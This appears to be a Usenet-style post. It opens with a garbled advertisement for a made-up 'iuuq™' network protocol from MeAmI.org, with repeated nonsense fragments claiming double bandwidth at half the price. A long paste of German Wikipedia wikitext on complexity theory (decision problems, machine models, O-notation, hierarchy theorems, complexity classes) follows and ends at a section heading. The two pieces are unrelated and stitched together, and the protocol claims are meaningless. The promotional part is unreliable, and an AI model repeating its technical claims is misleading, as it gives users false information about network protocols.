iuuq:// is another
Tether the two.
iuuq™: double the bandwidth. half the price.
Welcome to the in formation revolution. New from
MeAmI.org
++++++++++++++++++++
There is a lot of talk these days about singularities and efficient
systems. MeAmI.org's iuuq™ protocol offers efficient pluralities in
network transfer protocols. It works:
A normal website runs data:
MeAmI's iuuq™ allows
iuuq://xxx.website.ume
http://{--------}=data
iuuq:// is another
Tether the two.
MeAmI's iuuq™ allows
iuuq://xxx.website.ume
http://{--------}=data
On Oct 23, 5:04 pm, "http://alexslemonade.org @ http://MeAmI.org"
{{Dieser Artikel|befasst sich mit der Komplexitätstheorie als
Teilgebiet der [[Theoretische Informatik|theoretischen Informatik]].
Sie ist zu unterscheiden von der [[Komplexes System|Theorie komplexer
Systeme]] als einer der Hauptströmungen der [[Systemtheorie]].}}
Die '''Komplexitätstheorie''' als Teilgebiet der [[Theoretische
Informatik|Theoretischen Informatik]] befasst sich mit der
[[Komplexität (Informatik)|Komplexität]] von [[Algorithmus|
algorithmisch]] behandelbaren Problemen auf verschiedenen mathematisch
definierten formalen [[Rechnermodell]]en. Die Komplexität von
Algorithmen wird in deren Ressourcenverbrauch gemessen, meist
[[Zeitkomplexität|Rechenzeit]] oder [[Platzkomplexität|
Speicherplatzbedarf]]. Es werden jedoch auch speziellere
Komplexitätsmaße wie die Größe eines [[Schaltkreis]]es oder die Anzahl
benötigter Prozessoren bei [[Paralleler Algorithmus|parallelen
Algorithmen]] untersucht.
Die Komplexitätstheorie unterscheidet sich von der
[[Berechenbarkeitstheorie]], die sich mit der Frage beschäftigt,
welche Probleme prinzipiell algorithmisch gelöst werden können.
Demgegenüber besteht das wichtigste Forschungsziel der
Komplexitätstheorie darin, die Menge aller lösbaren Probleme zu
klassifizieren. Insbesondere versucht man, die Menge der effizient
lösbaren Probleme von der Menge der inhärent schwierigen Probleme
abzugrenzen.
== Einordnung in die Theoretische Informatik ==
[[Datei:Theoretische-informatik.svg|thumb|480px|Die
Komplexitätstheorie in der Theoretischen Informatik]]
Die Komplexitätstheorie gilt, neben der [[Berechenbarkeitstheorie]]
und der Theorie der [[Formale Sprache|Formalen Sprachen]], als einer
der drei Hauptbereiche der Theoretischen Informatik. Zu ihren
wesentlichen Forschungszielen gehört die Klassifizierung von Problemen
im Hinblick auf den zu ihrer Lösung notwendigen Aufwand. Eine
besondere Rolle spielt dabei die Abgrenzung der praktisch effizient
lösbaren Probleme. Die Komplexitätstheorie grenzt daher diejenigen
Probleme ein, in denen andere Disziplinen der Informatik überhaupt
sinnvollerweise nach effizienten Lösungen suchen sollten und motiviert
so die Entwicklung von praxistauglichen [[Approximationsalgorithmus|
Approximationsalgorithmen]].
Neben dem reinen Erkenntnisgewinn bereichert auch das Methodenarsenal
der komplexitätstheoretischen Forschung zahlreiche angrenzende
Gebiete. So führt etwa ihre enge Verzahnung mit der
[[Automatentheorie]] zu neuen Maschinenmodellen und einem
umfassenderen Verständnis der Arbeitsweise von Automaten. Die häufig
konstruktive Beweisführung findet auch im Rahmen des Entwurfs und der
Analyse von [[Algorithmus|Algorithmen]] und [[Datenstruktur]]en
Anwendung.<br style="clear:both;" />
== Probleme aus Sicht der Komplexitätstheorie ==
=== Entscheidungsprobleme als formale Sprachen ===
[[Datei:Entscheidungsproblem.png|right|Entscheidungsproblem]]
Den zentralen Gegenstand der Komplexitätstheorie bilden [[Problem]]e.
Ein Problem wird dabei oft als [[formale Sprache]] verstanden. Die
Aufgabe besteht nun darin, für ein gegebenes [[Wort (Theoretische
Informatik)|Wort]] zu entscheiden, ob es zu der Sprache gehört oder
nicht. Daher spricht man hier auch von [[Entscheidungsproblem]]en. Man
sagt dazu: Die Berechnung akzeptiert oder verwirft das Wort.
Ein mögliches Eingabewort könnte beispielsweise ein beliebiger [[Graph
(Graphentheorie)|Graph]] sein. Das Problem könnte darin bestehen zu
entscheiden, ob der gegebene Graph [[Zusammenhang von Graphen|
zusammenhängend]] ist oder nicht. Die zugehörige entschiedene Sprache
wäre demnach die Menge aller zusammenhängenden Graphen.
Man könnte annehmen, dass die Einschränkung auf solche
Entscheidungsfragen viele wichtige Probleme ausschließt. Das ist
jedoch nicht so. So lassen sich alle im Sinne der Komplexitätstheorie
relevanten Probleme auch als Entscheidungsproblem formulieren.
Betrachtet man zum Beispiel das Problem der [[Multiplikation]] zweier
Zahlen, so besteht die dazugehörige Sprache des Entscheidungsproblems
aus allen Zahlen-[[Tupel|Tripeln]] <math>(a,b,c)</math> für die der
Zusammenhang <math>a \cdot b = c</math> gilt. Die Entscheidung, ob ein
gegebenes Tripel zu dieser Sprache gehört, entspricht dem Lösen des
Problems der Multiplikation zweier Zahlen.
=== Berechnungsprobleme als Abbildungen ===
Darüber hinaus ist man in der Komplexitätstheorie manchmal daran
interessiert, Problemlösungen auch wirklich zu generieren. Hier
begnügt man sich nicht mit der einfachen Ja/Nein-Antwort eines
Wortproblemes für formale Sprachen. Stattdessen versteht man das
Problem als eine [[Funktion (Mathematik)|Abbildung]] aus einem
Definitionsbereich in seinen Lösungsraum.
Die Lösung des Problemes der [[Multiplikation]] zweier Zahlen in etwa
würde man als das Ergebnis der Abbildung <math>f</math> mit <math>f
(a,b) = a \cdot b</math> verstehen.
Für die Definition der meisten Komplexitätsklassen wird jedoch die
Formulierung durch Entscheidungsprobleme bevorzugt.
Eine wichtige Unterkategorie der Berechnungsprobleme stellen die
[[Optimierungsproblem]]e dar. Bei Optimierungsproblemen besteht der
funktionale Zusammenhang aus der Forderung, dass ein [[Extremwert|
Maximum]] bzw. [[Extremwert|Minimum]] zu einer gegebenen
Kostenfunktion zu der Eingabe ausgegeben werden soll.
Man könnte so zum Beispiel beim [[Problem des Handlungsreisenden]]
nach der optimalen Route durch die Landeshauptstädte Deutschlands
fragen, welche die geringste Gesamtlänge besitzt. Viele
Optimierungsprobleme sind von großer praktischer Bedeutung.
=== Probleminstanzen ===
Eine Probleminstanz ist nicht mit dem Problem selbst zu verwechseln.
Ein Problem stellt in der Komplexitätstheorie die abstrakte
Fragestellung dar. Dem entgegen bezeichnet die Instanz eines Problems
eine ganz konkrete Ausprägung, die als Eingabe für eine solche
Entscheidungsfrage dienen könnte.
Eine Instanz des Problems des Handlungsreisenden könnte zum Beispiel
die Frage sein, ob eine Route durch die Landeshauptstädte Deutschlands
mit einer maximalen Länge von 2000 km existiert. Die Entscheidung
über diese Route hat jedoch nur begrenzten Wert für andere
Probleminstanzen, wie etwa eine Rundreise durch die Sehenswürdigkeiten
[[Mailand]]s mit gegebener Längenschranke. In der Komplexitätstheorie
interessiert man sich daher für Aussagen, die unabhängig von konkreten
Instanzen sind.
=== Problemrepräsentationen ===
Als formale Sprachen werden Probleme und deren Instanzen über
abstrakten [[Alphabet (Informatik)|Alphabeten]] definiert. Häufig wird
das binäre Alphabet mit den Symbolen 0 und 1 gewählt, da dies der
Verwendung von [[Bit]]s bei modernen Rechnern am nächsten kommt.
Eingaben werden dann durch Alphabetsymbole kodiert. An Stelle von
mathematischen Objekten wie Graphen verwendet man möglicherweise eine
Bitfolge die der [[Adjazenzmatrix]] des Graphen entspricht, an Stelle
von [[Natürliche Zahlen|natürlichen Zahlen]] zum Beispiel deren
[[Binärdarstellung]].
Auch wenn sich [[Beweis (Mathematik)|Beweise]]
komplexitätstheoretischer Aussagen in der Regel konkreter
Repräsentationen der Eingabe bedienen, versucht man Aussagen und
Betrachtung unabhängig von Repräsentationen zu halten. Dies kann etwa
erreicht werden, indem man sicherstellt, dass die gewählte
Repräsentation bei Bedarf ohne allzu großen Aufwand in eine andere
Repräsentation transformiert werden kann, ohne dass sich hierdurch die
Berechnungsaufwände insgesamt signifikant verändern. Um dies zu
ermöglichen, ist unter anderem die Auswahl eines geeigneten
universellen Maschinenmodells von Bedeutung.
=== Problemgröße ===
Hat man ein Problem formal definiert (zum Beispiel das Problem des
Handlungsreisenden in Form eines Graphen mit Kantengewichten), so
möchte man Aussagen darüber treffen, wie sich ein Algorithmus bei der
Berechnung der Problemlösung in Abhängigkeit von der Schwierigkeit des
Problems verhält. Im Allgemeinen sind bei der Beurteilung der
Schwierigkeit des Problems viele verschiedene Aspekte zu betrachten.
Dennoch gelingt es häufig, wenige skalare Größen zu finden, die das
Verhalten des Algorithmus im Hinblick auf den Ressourcenverbrauch
maßgeblich beeinflussen. Diese Größen bezeichnet man als die
Problemgröße. In aller Regel entspricht diese der Eingabelänge (bei
einer konkret gewählten Repräsentation der Eingabe).
Man untersucht nun das Verhalten des Algorithmus in Abhängigkeit von
der Problemgröße. Die Komplexitätstheorie interessiert sich für die
Frage: ''Wie viel'' Mehrarbeit ist für wachsende Problemgrößen
notwendig? Steigt der Aufwand (in Relation zur Problemgröße) zum
Beispiel linear, polynomial, exponentiell oder gar überexponentiell?
So kann man beim Problem des Handlungsreisenden die Problemgröße als
Anzahl der vorgegebenen Orte definieren (wobei man vernachlässigt,
dass auch die vorgegebenen Streckenlängen verschieden große
Eingabegrößen aufweisen können). Dann ist dieses Problem für die
Problemgröße 2 trivial, da es hier überhaupt nur eine mögliche Lösung
gibt und diese folglich auch optimal sein muss. Mit zunehmender
Problemgröße wird ein Algorithmus jedoch mehr Arbeit leisten müssen.
=== Bester, schlechtester und durchschnittlicher Fall für
Problemgrößen ===
Auch innerhalb einer Problemgröße lassen sich verschiedene
Verhaltensweisen von Algorithmen beobachten. So hat das Problem des
Handlungsreisenden für die 16 deutschen Landeshauptstädte dieselbe
Problemgröße <math>n=16</math> wie das Finden einer Route durch 16
europäische Hauptstädte. Es ist keineswegs zu erwarten, dass ein
Algorithmus unter den unterschiedlichen Bedingungen (selbst bei
gleicher Problemgröße) jeweils gleich gut arbeitet. Da es jedoch in
der Regel unendlich viele Instanzen gleicher Größe für ein Problem
gibt, gruppiert man diese zumeist grob in drei Gruppen: bester,
schlechtester und durchschnittlicher Fall. Diese stehen für die
Fragen:
* Bester Fall: Wie arbeitet der Algorithmus (in Bezug auf die in Frage
stehende Ressource) im günstigsten Fall?
* Schlechtester Fall: Wie arbeitet der Algorithmus im schlimmsten
Fall?
* Durchschnittlicher Fall: Wie arbeitet der Algorithmus
durchschnittlich (wobei die zugrundegelegte
[[Wahrscheinlichkeitsverteilung|Verteilung]] für die Berechnung eines
Durchschnitts nicht immer offensichtlich ist)?
=== Untere und obere Schranken für Probleme ===
Die Betrachtung bester, schlechtester und durchschnittlicher Fälle
bezieht sich stets auf eine feste Eingabelänge. Auch wenn die
Betrachtung konkreter Eingabelängen in der Praxis von großem Interesse
sein kann, ist diese Sichtweise für die Komplexitätstheorie meist
nicht abstrakt genug. Welche Eingabelänge als groß oder praktisch
relevant gilt, kann sich aufgrund technischer Entwicklungen sehr
schnell ändern. Es ist daher gerechtfertigt, das Verhalten von
Algorithmen in Bezug auf ein Problem gänzlich unabhängig von konkreten
Eingabelängen zu untersuchen. Man betrachtet hierzu das Verhalten der
Algorithmen für immer größer werdende, potentiell unendlich große
Eingabelängen. Man spricht vom [[Asymptotik|asymptotischen Verhalten]]
des jeweiligen Algorithmus.
Bei dieser Untersuchung des asymptotischen Ressourcenverbrauchs
spielen [[Supremum|untere und obere Schranken]] eine zentrale Rolle.
Man möchte also wissen, welche Ressourcen für die Entscheidung eines
Problems mindestens und höchstens benötigt werden. Für die
Komplexitätstheorie sind die unteren Schranken von besonderem
Interesse: Man möchte zeigen, dass ein bestimmtes Problem
''mindestens'' einen bestimmten Ressourcenverbrauch beansprucht und es
folglich keinen Algorithmus geben kann, der das Problem mit geringeren
Ressourcen entscheidet. Solche Ergebnisse helfen, Probleme nachhaltig
bezüglich ihrer Schwierigkeit zu separieren. Jedoch sind bisher nur
vergleichsweise wenige aussagekräftige untere Schranken bekannt. Der
Grund hierfür liegt in der Problematik, dass sich Untersuchungen
unterer Schranken stets auf alle denkbaren Algorithmen für ein Problem
beziehen müssen; also auch auf Algorithmen, die heute noch gar nicht
bekannt sind.
Im Gegensatz dazu gelingt der Nachweis von oberen Schranken in der
Regel durch die Analyse konkreter Algorithmen. Durch den Beweis der
Existenz auch nur eines Algorithmus, der die obere Schranke einhält,
ist der Nachweis bereits erbracht.
== Maschinenmodelle in der Komplexitätstheorie ==
=== Kostenfunktionen ===
Zur Analyse des Ressourcenverbrauchs von Algorithmen sind geeignete
[[Landau-Symbole|Kostenfunktionen]] zu definieren, welche eine
Zuordnung der Arbeitsschritte des Algorithmus zu den verbrauchten
Ressourcen ermöglichen. Um dies tun zu können, muss zunächst
festgelegt werden, welche Art von Arbeitsschritt einem Algorithmus
überhaupt erlaubt ist. Diese Festlegung erfolgt in der
Komplexitätstheorie über abstrakte [[Maschinenmodell]]e - würde man
auf reale Rechnermodelle zurückgreifen, so wären die gewonnenen
Erkenntnisse bereits in wenigen Jahren überholt. Der Arbeitsschritt
eines Algorithmus erfolgt in Form einer Befehlsausführung auf einer
bestimmten Maschine. Die Befehle, die eine Maschine ausführen kann,
sind dabei durch das jeweilige Modell streng limitiert. Darüber hinaus
unterscheiden sich verschiedene Modelle etwa in der Handhabung des
Speichers und in ihren Fähigkeiten zur parallelen Verarbeitung,
d. h. der gleichzeitigen Ausführung mehrerer Befehle. Die
Definition der Kostenfunktion erfolgt nun durch eine Zuordnung von
Kostenwerten zu den jeweils erlaubten Befehlen.
=== Kostenmaße ===
Häufig wird von unterschiedlichen Kosten für unterschiedliche Befehle
abstrahiert und als Kostenwert für eine Befehlsausführung immer 1
gesetzt. Sind auf einer Maschine beispielsweise [[Addition]] und
[[Multiplikation]] die erlaubten Operationen, so zählt man für jede
Addition und jede Multiplikation, die im Laufe des Algorithmus
berechnet werden müssen, den Kostenwert von 1 hinzu. Man spricht dann
auch von einem ''uniformen Kostenmaß''. Ein solches Vorgehen ist dann
gerechtfertigt, wenn sich die erlaubten Operationen nicht gravierend
unterscheiden und wenn der Wertebereich, auf dem die Operationen
arbeiten, nur eingeschränkt groß ist. Dies wird schon für eine
einfache Operation wie die Multiplikation klar: Das Produkt zweier
einstelliger Dezimalzahlen dürfte sich ungleich schneller errechnen
lassen als das Produkt zweier hundertstelliger Dezimalzahlen. Bei
einem uniformen Kostenmaß würden beide Operationen dennoch mit einem
Kostenwert von 1 veranschlagt. Sollten sich die möglichen Operanden im
Laufe eines Algorithmus tatsächlich so gravierend unterscheiden, so
muss ein realistischeres Kostenmaß gewählt werden. Häufig wählt man
dann das ''logarithmische Kostenmaß''. Der Bezug auf den Logarithmus
ergibt sich daraus, dass sich eine Dezimalzahl n im Wesentlichen durch
<math>\log_2(n)</math> Binärziffern darstellen lässt. Man wählt zur
Repräsentation der Operanden Binärziffern aus und definiert die
erlaubten booleschen Operationen. Sollte das jeweilige Maschinenmodell
Adressen verwenden, so werden auch diese binär codiert. Auf diese
Weise werden die Kosten über die Länge der Binärdarstellung
logarithmisch gewichtet. Andere Kostenmaße sind möglich, werden jedoch
nur selten eingesetzt.
=== Maschinenmodelle und Probleme ===
Man unterscheidet verschiedene Berechnungsparadigmen: der
pragmatischste Typ ist sicher der der [[Determinismus (Algorithmus)|
deterministischen]] Maschinen; weiterhin gibt es den in der Theorie
besonders relevanten Typ der [[Nichtdeterminismus|
nichtdeterministischen]] Maschinen; weiterhin gibt es noch
probabilistische Maschinen, alternierende und andere. In der Regel
kann man jedes Maschinenmodell mit jedem der obigen Paradigmen
definieren. Einige Paradigmen, so zum Beispiel der Nichtdeterminismus,
modellieren dabei einen Typ, der der Theorie vorbehalten bleiben muss,
da man den Nichtdeterminismus in der dort definierten Form
physikalisch nicht bauen kann, (sie „erraten“ einen richtigen Pfad in
einem Berechnungsbaum), lassen sich jedoch häufig leicht zu einem
gegebenen Problem konstruieren. Da eine Transformation von
nichtdeterministischen in deterministische Maschinen immer relativ
einfach möglich ist, konstruiert man daher zunächst eine
nichtdeterministische Maschinenversion und transformiert diese später
in eine deterministische.
Daraus geht eine wichtige Beweistechnik der Komplexitätstheorie
hervor: Lässt sich zu einem gegebenen Problem ein bestimmter
Maschinentyp konstruieren, auf dem das Problem mit bestimmten Kosten
entschieden werden kann, so kann damit bereits die Komplexität des
Problems eingeschätzt werden. Tatsächlich werden sogar die
unterschiedlichen Maschinenmodelle bei der Definition von
[[Komplexitätsklasse]]n zugrundegelegt. Dies entspricht einer
Abstraktion von einem konkreten Algorithmus: Wenn ein Problem auf
Maschine <math>M</math> entscheidbar ist (wobei ein entsprechender
Algorithmus evtl. noch gar nicht bekannt ist), so lässt es sich
unmittelbar einer bestimmten Komplexitätsklasse zuordnen, nämlich
derjenigen, die von <math>M</math> definiert wird. Dieses Verhältnis
zwischen Problemen und Maschinenmodellen ermöglicht Beweisführungen
ohne die umständliche Analyse von Algorithmen.
=== Häufig eingesetzte Maschinenmodelle ===
Besonders häufig eingesetzte Modelle sind:
<gallery>
Datei:Turingmaschine.png|[[Turingmaschine]]
Datei:Registermaschine-beispiel.png|[[Registermaschine]]
Datei:Kellerautomat.png|[[Kellerautomat]]
Datei:Nea02.png|[[Endlicher Automat]]
</gallery>
Zur Untersuchung [[Paralleler Algorithmus|parallelisierbarer
Probleme]] können darüber hinaus auch parallelisierte Versionen dieser
Maschinen zum Einsatz kommen, insbesondere die [[Parallel Random
Access Machine|parallele Registermaschine]].
=== Die erweiterte Church-Turing-These ===
Für die Verwendung von Maschinenmodellen in der Komplexitätstheorie
ist eine Erweiterung der [[Church-Turing-These]] von Bedeutung, die
auch als ''erweiterte Church-Turing-These'' bezeichnet wird. Sie
besagt, dass alle universellen Maschinenmodelle in Bezug auf die
Rechenzeit bis auf polynomielle Faktoren gleich mächtig sind. Dies
ermöglicht dem Komplexitätstheoretiker eine relativ freie Wahl des
Maschinenmodells im Hinblick auf das jeweilige Untersuchungsziel. Auch
diese These ist nicht beweisbar; im Gegensatz zur gewöhnlichen Church-
Turing-These wäre es aber möglich, sie durch ein Gegenbeispiel zu
widerlegen.
=== Modellmodifikationen für Speicherplatzanalysen ===
Zur Untersuchung des Mindestspeicherbedarfs, der für die Lösung von
Problemen benötigt wird, nimmt man häufig die folgenden Modifikationen
des verwendeten Maschinenmodells (in der Regel eine Turingmaschine)
vor:
* Der Eingabespeicher darf ''nur gelesen'' werden.
* Auf die Ausgabe darf ''nur geschrieben'' werden. Der Schreibkopf
wird nur nach Schreibvorgängen und immer in dieselbe Richtung bewegt
(falls das Maschinenmodell eine solche Bewegung vorsieht).
Für die Untersuchung des Speicherbedarfs dürfen dann Ein- und Ausgabe
der Maschine unberücksichtigt bleiben. Die Motivation für diese
Änderungen ist die folgende: Würde zum Beispiel der Eingabespeicher in
die Speicherplatzanalyse einbezogen, so könnte kein Problem in weniger
als [[Landau-Notation|<math> \mathcal{O}(n) </math>.]] Platzbedarf
gelöst werden, denn das Eingabewort hat ja immer genau die Länge und
damit den Speicherbedarf n. Indem man die Eingabe nur lesbar macht,
verhindert man, dass sie für Zwischenrechnungen verwendet werden kann.
Man kann dann die Eingabe bei der Berechnung des Platzbedarfs
vernachlässigen. Eine ähnliche Argumentation führt zu der
Einschränkung der Ausgabe. Durch die zusätzliche Einschränkung einer
möglichen Kopfbewegung wird verhindert, dass die Kopfposition
verwendet wird, um sich Information zu „merken“. Insgesamt stellen all
diese Einschränkungen sicher, dass Ein- und Ausgabe bei der
Speicherplatzanalyse nicht berücksichtigt werden müssen.
Die vorgenommenen Modifikationen beeinflussen das Zeitverhalten der
Maschine übrigens nur um einen konstanten Faktor und sind damit
vernachlässigbar.
== Verwendung und Rechtfertigung der O-Notation ==
Bei der Untersuchung von Größenordnungen für Aufwände wird in der
Komplexitätstheorie ausgiebig von der [[Landau-Notation|O-Notation]]
Gebrauch gemacht. Dabei werden lineare Faktoren und Konstanten aus der
Betrachtung ausgeblendet. Diese Vorgehensweise mag zunächst
überraschen, wäre doch für den Praktiker häufig bereits eine
Halbierung der Aufwände von hoher Bedeutung.
Der Standpunkt der Komplexitätstheorie lässt sich theoretisch mit
einer Technik rechtfertigen, die man als ''lineares Beschleunigen''
oder auch [[Speedup-Theorem]] bezeichnet. (Wir beschränken uns hier
auf das Zeitverhalten. Analoge Beweise kann man auch für den
Speicherbedarf oder andere Ressourcen führen.) Das Speedup-Theorem
besagt vereinfachend, dass sich zu jeder Turingmaschine, die ein
Problem in Zeit <math>T</math> entscheidet, eine neue Turingmaschine
konstruieren lässt, die das Problem in Zeit weniger als <math>
\varepsilon \cdot T</math> entscheidet. Dabei kann <math>
\varepsilon>0</math> beliebig klein gewählt sein. Das bedeutet nichts
anderes, als dass sich jede Turingmaschine, die ein bestimmtes Problem
löst, um einen beliebigen konstanten Faktor beschleunigen lässt. Der
Preis für diese Beschleunigung besteht in einer stark vergrößerten
Arbeitsalphabetgröße und Zustandsmenge der verwendeten Turingmaschine
(letztlich also „Hardware“).
Diese Beschleunigung wird unabhängig von der Problemgröße erreicht. Es
ergibt daher keinen Sinn, konstante Faktoren bei der Betrachtung von
Problemen zu berücksichtigen – solche Faktoren ließen sich durch
Anwendung der Beschleunigungstechnik wieder beseitigen. Die
Vernachlässigung konstanter Faktoren, die sich in der O-Notation
ausdrückt, hat daher nicht nur praktische Gründe, sie vermeidet auch
Verfälschungen im Rahmen komplexitätstheoretischer Betrachtungen.
== Bildung von Komplexitätsklassen ==
Eine wesentliche Aufgabe der Komplexitätstheorie besteht darin,
sinnvolle [[Komplexitätsklasse]]n festzulegen, in diese die
vorliegenden Probleme einzusortieren und Aussagen über die
wechselseitigen Beziehungen zwischen den Klassen zu finden.
=== Einflussgrößen bei der Bildung von Komplexitätsklassen ===
Eine Reihe von Faktoren nehmen Einfluss auf die Bildung von
Komplexitätsklassen. Die wichtigsten sind die folgenden:
* Das zugrunde liegende ''Berechnungsmodell'' (Turingmaschine,
Registermaschine usw.).
* Der verwendete ''Berechnungsmodus'' (deterministisch,
nichtdeterministisch, probabilistisch usw.).
* Die betrachtete ''Berechnungsressource'' (Zeit, Platz, Prozessoren
usw.).
* Das angenommene ''Kostenmaß'' (uniform, logarithmisch).
* Die eingesetzte ''Schrankenfunktion''.
=== Anforderungen an Schrankenfunktionen ===
Zur Angabe oder Definition von Komplexitätsklassen verwendet man
[[Schrankenfunktion]]en. Schreibt man beispielsweise [[DTIME]](f), so
meint man damit die Klasse aller Probleme, die auf einer
deterministischen Turingmaschine in der Zeit <math>\mathcal{O}(f)</
math> entschieden werden können. <math>f</math> ist dabei eine
Schrankenfunktion. Um als Schrankenfunktion für
komplexitätstheoretische Analysen eingesetzt werden zu können, sollte
die Funktion mindestens die folgenden Anforderungen erfüllen:
* <math>f: \mathbb{N} \rightarrow \mathbb{N}</math> (Schrittzahl,
Speicher usw. werden als natürliche Zahlen berechnet).
* <math>f(n+1) \geq f(n)</math> (monotones Wachstum).
* Die Funktion <math>f</math> muss selbst in Zeit <math>\mathcal{O}(f)
</math> und mit Raum <math>\mathcal{O}(f)</math> berechenbar sein.
Eine Funktion, die diesen Anforderungen genügt, bezeichnet man auch
als ''echte Komplexitätsfunktion''. Der Sinn der Anforderungen ist zum
Teil technischer Natur. Die Schrankenfunktion kann selbst auf
konstruktive Art (zum Beispiel als Turingmaschine) in Beweise
einfließen und sollte sich daher für diese Zwecke „gutartig“
verhalten. An dieser Stelle soll nur darauf hingewiesen werden, dass
bei der Wahl der Schrankenfunktion eine gewisse Vorsicht walten muss,
weil sonst bestimmte algorithmische Techniken nicht angewandt werden
können.
Die meisten „natürlichen“ Funktionen entsprechen den oben genannten
Einschränkungen, so etwa die konstante Funktion, die [[Logarithmus]]
funktion, die [[Wurzelfunktion]], [[Polynom]]e, die
[[Exponentialfunktion]] sowie alle Kombinationen dieser Funktionen. Es
folgt eine Übersicht der wichtigsten Schrankenfunktionen mit der
jeweils üblichen Sprechweise. Die Angabe erfolgt wie üblich in
[[Landau-Notation|O-Notation]].
{|
!| Die wichtigsten Schrankenfunktionen
{| class="wikitable"
|-
| ''konstant'' || <math>\mathcal{O}(1)</math>
|-
| ''logarithmisch'' || <math>\mathcal{O}(\log n)</math>
|-
| ''polylogarithmisch'' || <math>\mathcal{O}(\log^k n)</math> für
<math>k \geq 1</math>
|-
| ''linear'' || <math>\mathcal{O}(n)</math>
|-
| ''n-log-n'' || <math>\mathcal{O}(n \log n)</math>
|-
| ''quadratisch'' || <math>\mathcal{O}(n^2)</math>
|-
| ''polynomial'' || <math>\mathcal{O}(n^k)</math> für <math>k \geq 1</
math>
|-
| ''exponentiell'' || <math>\mathcal{O}(d^n)</math> für <math>d > 1</
math>
|}
|}
=== Hierarchiesätze ===
Für die gebildeten Klassen möchte man möglichst beweisen, dass durch
zusätzlich bereitgestellte Ressourcen tatsächlich ''mehr'' Probleme
gelöst werden können. Diese Beweise bezeichnet man als
''Hierarchiesätze'', da sie auf den Klassen der jeweiligen Ressource
eine Hierarchie induzieren. Es gibt also Klassen, die in eine echte
Teilmengenbeziehung gesetzt werden können. Wenn man solche echten
Teilmengenbeziehungen ermittelt hat, lassen sich auch Aussagen darüber
treffen, wie groß die Erhöhung einer Ressource sein muss, um damit
eine größere Zahl von Problemen berechnen zu können. Von besonderem
Interesse sind dabei wiederum die Ressourcen Zeit und Raum. Die
induzierten Hierarchien bezeichnet man auch als ''Zeithierarchie'' und
''Raumhierarchie''.
Die Hierarchiesätze bilden letztlich das Fundament für die
''Separierung'' von Komplexitätsklassen. Sie waren daher auch eines
der frühesten Ergebnisse der Komplexitätstheorie. Ohne die
Hierarchiesätze müsste für die Beziehungen der unterschiedlichen
Klassen statt einer ⊂-Hierarchie eine ⊆-Hierarchie angenommen werden.
Es bliebe dann zu befürchten, dass die gesamte Hierarchie zu einer
einzigen Klasse kollabiert. Tatsächlich muss ergänzt werden, dass alle
Hierarchiesätze auf diversen Voraussetzungen beruhen. Eine dieser
Voraussetzungen ist etwa, dass die oben genannten Anforderungen an
''echte Komplexitätsfunktionen'' erfüllt werden. Ohne die Einhaltung
dieser Anforderungen bricht tatsächlich die gesamte Klassenhierarchie
in sich zusammen.<ref>Derartige Probleme gibt es beispielsweise im
Bereich der probabilistischen Komplexitätsklassen. Schränkt man hier -
wie für praktisch verwendbare probabilistische Algorithmen
erforderlich - die Fehlerwahrscheinlichkeit ein, so resultiert daraus
unter anderem, dass die Komplexitätsklassen nicht mehr aufzählbar
sind. Dies ist aber für alle Separationsverfahren eine Voraussetzung.
Als Ergebnis lassen sich Polynomzeitalgorithmen plötzlich durch
Linearzeitalgorithmen ersetzen. Das Beispiel zeigt, wie sensibel das
Geflecht aus Voraussetzungen und den abgeleiteten Sätzen insgesamt
ist.</ref>
==== Zeithierarchiesatz ====
Der Zeithierarchiesatz besagt:
:<math>\operatorname{DTIME}\big(f(n) \big) \subsetneq \operatorname
{DTIME} \big(f(n) \sdot \log^{2}(f(n)) \big)</math>
Dies bedeutet also, dass man die Zeitressource um einen Faktor <math>
\log^{2}(f(n))</math> erhöhen muss, um auf einer deterministischen
Turingmaschine mehr Probleme lösen zu können. Eine ähnliche Beziehung
lässt sich für nichtdeterministische Turingmaschinen finden.
==== Raumhierarchiesatz ====
Der Raumhierarchiesatz besagt:
:<math>\operatorname{DSPACE}\big(f(n)\big) \subsetneq \operatorname
{DSPACE} \big(f(n) \sdot \log(f(n)) \big)</math>
Die Aussage ist analog zum Zeithierarchiesatz. Man erkennt jedoch,
dass im Vergleich zur Zeit bereits eine geringere Steigerung des
Raumes ausreicht (Faktor <math>\log(f(n))</math> im Vergleich zu <math>
\log^{2}(f(n))</math>), um eine größere Klasse zu bilden. Dies
entspricht auch einer intuitiven Erwartung, verhält sich doch der Raum
insgesamt aufgrund seiner Wiederverwendbarkeit (alte
Zwischenergebnisse können überschrieben werden) gutmütiger.
==== Wofür die Hierarchiesätze nicht gelten ====
Die Hierarchiesätze beziehen sich ausschließlich auf den jeweils
gleichen Berechnungsmodus und eine einzelne Ressource, also zum
Beispiel auf die Ressource Zeit auf einem deterministischen
Maschinenmodell. Es wird jedoch keine Aussage darüber getroffen, wie
sich etwa Raum- und Zeitklassen zueinander verhalten oder in welchem
Verhältnis deterministische oder nichtdeterministische Klassen
zueinander stehen. Dennoch gibt es derartige Zusammenhänge. Sie werden
in den Abschnitten ''Beziehungen zwischen Raum- und Zeitklassen'' und
''Beziehungen zwischen deterministischen und nichtdeterministischen
Klassen'' behandelt.
=== Wichtige Zeitklassen ===
* [[DTIME]](f): Allgemeine Schreibweise für deterministische
Zeitklassen.
* [[P (Komplexitätsklasse)|P]]: Deterministisch in [[Polynomialzeit]]
entscheidbare Sprachen.
* [[EXPTIME]]: Deterministisch in Exponentialzeit entscheidbare
Sprachen.
* [[NTIME]](f): Allgemeine Schreibweise für nichtdeterministische
Zeitklassen.
* [[NP (Komplexitätsklasse)|NP]]: Nichtdeterministisch in
[[Polynomialzeit]] entscheidbare Sprachen.
* [[NEXPTIME]]: Nichtdeterministisch in Exponentialzeit entscheidbare
Sprachen.
* [[NC (Komplexitätsklasse)|NC]]: Parallel in polylogarithmischer Zeit
berechenbare Funktionen.
=== Wichtige Raumklassen ===
* [[DSPACE]](f): Allgemeine Schreibweise für deterministische
Raumklassen.
* [[L (Komplexitätsklasse)|L]]: Deterministisch mit logarithmisch
beschränktem Raum entscheidbare Sprachen.
* [[PSPACE]]: Deterministisch mit polynomial beschränktem Raum
entscheidbare Sprachen.
* [[NSPACE]](f): Allgemeine Schreibweise für nichtdeterministische
Raumklassen.
* [[NL (Komplexitätsklasse)|NL]]: Nichtdeterministisch mit
logarithmisch beschränktem Raum entscheidbare Sprachen.
* [[Kontextsensitive Sprache|CSL]]: Kontextsensitive Sprachen sind die
nichtdeterministisch mit linear beschränktem Raum entscheidbaren
Sprachen.
''Siehe auch:'' [[Liste von Komplexitätsklassen]]
=== Komplementbildungen ===
Für jede Komplexitätsklasse lässt sich ihre Komplementklasse bilden:
